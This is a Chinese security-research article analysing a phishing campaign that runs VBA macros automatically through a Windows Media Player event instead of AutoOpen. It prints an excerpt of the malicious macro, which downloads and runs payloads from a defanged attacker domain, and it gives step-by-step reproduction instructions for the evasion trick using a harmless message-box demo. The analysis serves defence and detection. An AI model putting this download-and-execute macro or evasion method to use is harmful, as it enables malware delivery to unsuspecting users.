攻击技术研判 | 利用Media player函数代替AutoOpen自动执行宏代码

渗透技巧 2年前 (2022) admin
670 0 0
攻击技术研判 | 利用Media player函数代替AutoOpen自动执行宏代码

攻击背景

近期ASEC团队发现了模仿AhnLab安全通知的钓鱼攻击,其中一个钓鱼文档在攻击中使用了Windows Media Player相关函数触发自动执行VBA宏恶意代码。本文将对该利用手法进行分析。


组织名称

未知

战术标签

vba代码执行 

技术标签

防御规避  执行

情报来源

https://asec.ahnlab.com/en/33477/


01 攻击技术分析

该钓鱼攻击的攻击过程如下:

1. 投递落地的Word文档1中包含Word文档2的链接,实现下载包含Word宏(dotm)的Word文档2

2. 运行Word文档2后诱导用户启动宏

攻击技术研判 | 利用Media player函数代替AutoOpen自动执行宏代码

图 2个诱导用户点击启动宏的样本


3. 当用户点击启动宏后,执行vba宏代码

4. 将shellcode注入Word进程中,落地恶意软件USOService.exe 并实现持久化

5. 同时,创建了UpdateChecker.exe,该exe会判断是否成功从url中下载另一个word文档,进而有不同的消息弹框,有更真实的伪装效果


当没有下载成功时显示:”文件解密需要网络连接。请确认网络连接,重新打开文件”

攻击技术研判 | 利用Media player函数代替AutoOpen自动执行宏代码


下载失败时显示:”机器认证失败,请咨询保安运营组”

攻击技术研判 | 利用Media player函数代替AutoOpen自动执行宏代码


亮点 使用Windows Media Player函数实现自动执行宏代码

在Word2中提取部分宏代码如下:

1. 调用Media player函数运行RunFE函数

2. RunFE进行base64解码并下载文件

3. 下载超时设置

4. 执行恶意程序


Private Function RunFE() As Long
    Dim MR As Object
    Dim bbb As String
    Dim i As Long
    Randomize
    Call Init
    For i = 0 To 8: bbb = bbb & Chr(Map1(Int(62 * Rnd()))): Next i
    ' 实现下载
    Set MR = CreateObject(DecodeSTR("tw7v/v2UF6/h4I4v9cL5sgLww+yTE6+Dp9E=")) '
WinHttp.WinHttpRequest.5.1
    Call MR.SetTimeouts(0200020005000)
    #If Win64 Then ' 根据不同架构下载不同恶意程序
        MR.Open "GET", DecodeSTR("iBP1xrPPSNvg6tEO6/fczgngwOyJBO7f+YNJ9dPqiEjA9cSzSLHa/64myof9z1ftwMehLLDCv9RJ4NXk") & "?" & bbb & "=" & bbb '
hxxp://ZVc1ijAU.naveicoipc[.]tech/ACMS/0lvNAK1t/0lvNAK1t64.acm
    #Else
        MR.Open "GET", DecodeSTR("iBP1xrPPSNvg6tEO6/fczgngwOyJBO7f+YNJ9dPqiEjA9cSzSLHa/64myof9z1ftwMehLLDCutJJ4NXk") & "?" & bbb & "=" & bbb  'hxxp://ZVc1ijAU.naveicoipc[.]tech/ACMS/0lvNAK1t/0lvNAK1t32.acm
    #End If
End Function

Private Sub WindowsMediaPlayer1_OpenStateChange(ByVal NewState As Long)
    If bFlag = False Then
        Call CTD  '
sleep相关处理
        Dim rfRes As Long
        rfRes = RunFE()  ' 执行恶意代码
        If rfRes = 1 Then
            bFlag = True
        End If
    End If
End Sub


在该vba代码中,使用了WindowsMediaPlayer1_OpenStateChange() 调用 RunFE函数执行恶意代码,并且设置MediaPlayer的启动为自动启动,代替 AutoOpen()函数,实现启动宏后自动执行宏代码的能力。这种方式躲避了杀毒软件对敏感函数AutoOpen的检测,起到防御规避的效果;同时,在文档中放置视频,在话术的辅助下降低戒备心。


攻击过程复现

1. 点击开发工具

攻击技术研判 | 利用Media player函数代替AutoOpen自动执行宏代码


2. 下划找到Windows Media Player,点击确定

攻击技术研判 | 利用Media player函数代替AutoOpen自动执行宏代码


3. 此时在word中会出现一个Media Player,右键查看属性,填写正规url增加可信度

攻击技术研判 | 利用Media player函数代替AutoOpen自动执行宏代码
攻击技术研判 | 利用Media player函数代替AutoOpen自动执行宏代码


4. 设置自动启动

攻击技术研判 | 利用Media player函数代替AutoOpen自动执行宏代码


5. 编写宏代码,实现打开Word文档后自动弹窗


Private Function RunFE() As Long
    #If Win64 Then
        MsgBox "Text64", vbOKOnly, "dotmTestX64"
    #Else
        MsgBox "Text32", vbOKOnly, "dotmTestX32"
    #End If
End Function

Private Sub WindowsMediaPlayer1_OpenStateChange(ByVal NewState As Long)
    rfRes = RunFE()
End Sub


效果如下:当打开Word文档时,自动执行宏代码实现弹窗

攻击技术研判 | 利用Media player函数代替AutoOpen自动执行宏代码


由此可见,利用Media Player函数可以代替AutoOpen函数实现宏的自动执行,有一定的防御规避效果。


02 总结

一直以来对宏代码的利用是很多Apt组织的在初始访问阶段的惯用手法。在本次研判中微软提供的便捷功能沦为黑客的攻击手段,利用Media Player的函数代替AutoOpen躲避检测。


需要我们对嵌入视频的Office文档保持警惕,播放的视频会误导、降低人们的戒备心,但实际上在播放视频的同时已经执行了恶意代码,使得自己的电脑沦为他人的靶标。


攻击技术研判 | 利用Media player函数代替AutoOpen自动执行宏代码

绿盟科技天元实验室专注于新型实战化攻防对抗技术研究。

研究目标包括:漏洞利用技术、防御绕过技术、攻击隐匿技术、攻击持久化技术等蓝军技术,以及攻击技战术、攻击框架的研究。涵盖Web安全、终端安全、AD安全、云安全等多个技术领域的攻击技术研究,以及工业互联网、车联网等业务场景的攻击技术研究。通过研究攻击对抗技术,从攻击视角提供识别风险的方法和手段,为威胁对抗提供决策支撑。


攻击技术研判 | 利用Media player函数代替AutoOpen自动执行宏代码

M01N Team公众号

聚焦高级攻防对抗热点技术

绿盟科技蓝军技术研究战队

攻击技术研判 | 利用Media player函数代替AutoOpen自动执行宏代码

官方攻防交流群

网络安全一手资讯

攻防技术答疑解惑

扫码加好友即可拉群


往期推荐

攻击技术研判 | 针对流行web应用程序框架TelerikUI的利用攻击链

攻击技术研判 | 利用Media player函数代替AutoOpen自动执行宏代码

攻击技术研判 | 利用线程劫持的反调试新姿势

攻击技术研判 | 利用Media player函数代替AutoOpen自动执行宏代码

攻击技术研判 | 利用SqlPS修改服务实现LocalSystem权限维持

攻击技术研判 | 利用Media player函数代替AutoOpen自动执行宏代码


原文始发于微信公众号(M01N Team):攻击技术研判 | 利用Media player函数代替AutoOpen自动执行宏代码

版权声明:admin 发表于 2022年7月4日 下午6:01。
转载请注明:攻击技术研判 | 利用Media player函数代替AutoOpen自动执行宏代码 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...